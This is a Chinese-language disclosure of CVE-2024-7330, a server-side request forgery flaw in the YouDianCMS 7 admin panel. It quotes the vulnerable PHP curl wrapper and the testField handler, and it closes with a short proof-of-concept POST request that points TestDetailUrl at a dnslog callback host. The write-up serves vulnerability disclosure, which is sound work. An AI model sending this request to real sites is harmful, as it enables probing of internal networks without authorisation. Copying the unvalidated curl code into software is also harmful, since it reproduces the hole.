【原创】(CVE-2024-7330)YouDianCMS 7 SSRF漏洞
当前为私密分享,无需登录即可查看。
时间 |
---|
2024-07-21 23:55:43 |
CVE-2024-7330
Created: 07/31/2024 02:19 PM
Updated: 08/01/2024 01:20 PM
Changes: 07/31/2024 02:19 PM (56), 08/01/2024 03:25 AM (18), 08/01/2024 01:20 PM (1)
Submitter: Mstir@Wiki
漏洞描述
YouDianCMS 是一款内容管理系统,广泛用于网站内容的创建、管理和发布。
在YouDianCMS后台的/App/Core/Extend/Function/ydLib.php
文件中,使用了curl_exec
函数去访问$url
变量。通过全局搜索调用yd_curl_get
函数的文件,发现/App/Lib/Action/Admin/CollectAction.class.php
文件中调用了此函数。
CollectAction.class.php
中的testField
方法通过$_POST
接收TestDetailUrl
参数,并使用curl_exec
发起网络请求。由于$url
变量未经过严格的验证和过滤,攻击者可以构造恶意的URL,导致SSRF(服务器端请求伪造)漏洞。攻击者可以利用此漏洞发起对内部网络的请求,可能导致敏感信息泄露或对内部网络的进一步攻击。
审计过程
问题出自 /App/Core/Extend/Function/ydLib.php 使用了curl_exec函数去访问\$url变量.
function yd_curl_get($url, $data=false, $timeout = 5, $options=array() ){
//http_build_query(array('foo'=>'bar','baz'=>'boom')); 输出:foo=bar&baz=boom
if(!empty($data)){
$url .= '?'.http_build_query($data);
}
if( function_exists('curl_init') ){
$ch = curl_init( $url );
//症状:php curl调用https出错 排查方法:在命令行中使用curl调用试试。
//原因:服务器所在机房无法验证SSL证书。解决办法:跳过SSL证书检查。
//不加上CURLOPT_SSL_VERIFYPEER,curl_exec总是返回false
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
//curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:220.181.136.242', 'CLIENT-IP:220.181.136.242'));
//CURLOPT_REFERER、CURLOPT_USERAGENT
foreach ($options as $k=>$v){
$k = is_numeric($k) ? $k : constant($k);
curl_setopt($ch, $k, $v);
}
$res = curl_exec($ch);
curl_close($ch);
}else{
//利用了stream_context_create()设置超时时间:
//当读取https协议时,需要服务器支持open_ssl模块
$opts = array( 'http' => array('timeout' => $timeout, 'method'=>"GET", 'header'=>'') );
if( $options['CURLOPT_REFERER']){
$opts['header'] .= "Referer:".$options['CURLOPT_REFERER']."\r\n";
}
if( $options['CURLOPT_USERAGENT']){
$opts['header'] .= "User-Agent:".$options['CURLOPT_USERAGENT']."\r\n";
}
$context = stream_context_create( $opts );
$res = @file_get_contents( $url, false, $context );
}
return $res;
}
调用该方法的程序: /App/Lib/Action/Admin/CollectAction.class.php
public function testField()
{
header("Content-Type:text/html; charset=utf-8");
$url = trim($_POST["TestDetailUrl"]);
if (empty($url)) {
if (empty($_POST["DetailUrlRegex"])) {
$url = $_POST["ListUrl"];
}
else {
$result = $this->_collectList($_POST);
if (is_array($result)) {
$index = rand(0, count($result) - 1);
$url = $result[$index];
}
else {
$this->ajaxReturn($result, "", 0);
}
}
}
$data = $this->_collectContent($url, $_POST["FieldInfo"], $_POST["ReplacePara"], $_POST);
if (is_array($data)) {
$this->ajaxReturn($data, $url, 1);
}
else {
$this->ajaxReturn($data, $url, 0);
}
}
POC
POST /index.php/Admin/Collect/testField HTTP/1.1
Host: [目标域名]
Content-Type: application/x-www-form-urlencoded
Cookie: [目标Cookie]
Content-Length: 30
TestDetailUrl=xxx.dnslog.cn